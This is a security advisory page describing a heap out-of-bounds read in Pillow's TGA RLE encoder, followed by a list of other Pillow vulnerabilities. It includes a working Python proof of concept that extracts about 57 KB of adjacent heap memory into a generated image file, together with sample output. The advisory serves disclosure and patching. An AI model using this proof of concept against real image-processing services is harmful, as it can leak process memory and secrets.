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Medium

Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images

  • Disclosed: 20.07.2026
  • Updated: 11.10.2026 15:17

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1" image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

python
im.save(out, format="TGA", compression="tga_rle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8) bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

allocated packed row buffer: 8192 bytes
encoder byte-offset walk:     65535 bytes
maximum OOB window per row:   57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized 57297 bytes from distinct out-of-bounds source offsets into one returned TGA, covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most 128 bytes each, not one large memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the tga_rle encoder when RLE compression is requested.

src/encode.c:_setimage() allocates the row buffer using the packed-bit formula:

c
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

c
bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

c
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
    buf += x * bytesPerPixel;
    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}

The packet payload memcpy() later copies those out-of-bounds source bytes into the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy one representative byte:

c
memcpy(
    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);

A width-2 mode "1" image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized.

PoC

Minimal ASAN trigger

python
import io
from PIL import Image

out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage

Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

python
import hashlib
import io
import PIL
from PIL import Image

WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES

def extract_oob_payload(data):
    i = 18
    pixel = 0
    oob = bytearray()

    while pixel < WIDTH:
        descriptor = data[i]
        i += 1
        count = (descriptor & 0x7F) + 1

        if descriptor & 0x80:
            value = data[i]
            i += 1
            if pixel + count - 1 >= ROW_BYTES:
                oob.append(value)
        else:
            values = data[i : i + count]
            i += count
            oob.extend(values[max(ROW_BYTES - pixel, 0) :])

        pixel += count

    return bytes(oob)


best = b""

for _ in range(ATTEMPTS):
    out = io.BytesIO()
    Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
    oob = extract_oob_payload(out.getvalue())
    if len(oob) > len(best):
        best = oob

with open("/tmp/max_oob_bytes.bin", "wb") as fp:
    fp.write(best)

print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")

Observed on installed Pillow 12.2.0:

Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%

Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full 57343-byte adjacent heap window to be incorporated into one output file.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pillow >= 5.2.0, < 12.3.0 12.3.0

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L
Weakness (CWE)
CWE-125
Platform
Python (PyPI)
Package
pillow
Disclosed
20.07.2026
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3494 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-fj7v-r99m-22gq - CC BY 4.0

Vulnerability history: pillow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (81) in the archive
Total entries
81
First → latest
04.2014 10.2026
Without a fix
0
Exploited in attacks
1

Severity breakdown

  • Critical 10
  • High 53
  • Medium 16
  • Low 1
  • Unrated 1

Disclosures per year

earlier: 12

Severity:
  1. Pillow: Out-of-bounds access in _imagingmorph on a zero-width image
    High CVE-2026-112397 < 13.0.0 13.0.0
  2. Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS
    High CVE-2026-112400 >= 9.2.0, < 13.0.0 13.0.0
  3. Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)
    High CVE-2026-112895 >= 5.1.0, < 13.0.0 13.0.0
  4. Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service
    High CVE-2026-59204 >= 8.2.0, < 12.3.0 12.3.0
  5. Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
    High · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  6. Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images this entry
    Medium · 6.5 CVE-2026-59198 >= 5.2.0, < 12.3.0 12.3.0
  7. Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)
    High CVE-2026-54058 < 12.3.0 12.3.0
  8. Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`
    High · 8.2 CVE-2026-59197 < 12.3.0 12.3.0
  9. Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch
    High · 7.5 CVE-2026-59205 < 12.3.0 12.3.0
  10. Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow
    High · 7.5 CVE-2026-59199 < 12.3.0 12.3.0
  11. Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`
    High · 7.5 CVE-2026-54060 < 12.3.0 12.3.0
  12. Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
    High · 7.5 CVE-2026-54059 < 12.3.0 12.3.0
  13. Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
    High · 7.5 CVE-2026-55379 < 12.3.0 12.3.0
  14. Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`
    High · 7.5 CVE-2026-55380 < 12.3.0 12.3.0
  15. Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)
    High CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  16. FITS GZIP decompression bomb in Pillow
    High · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  17. Pillow affected by out-of-bounds write when loading PSD images
    High CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  18. Pillow vulnerability can cause write buffer overflow on BCn encoding
    High · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  19. Pillow buffer overflow vulnerability
    High · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  20. Arbitrary Code Execution in Pillow
    Critical · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
Show more (20) Showing 20 of 64

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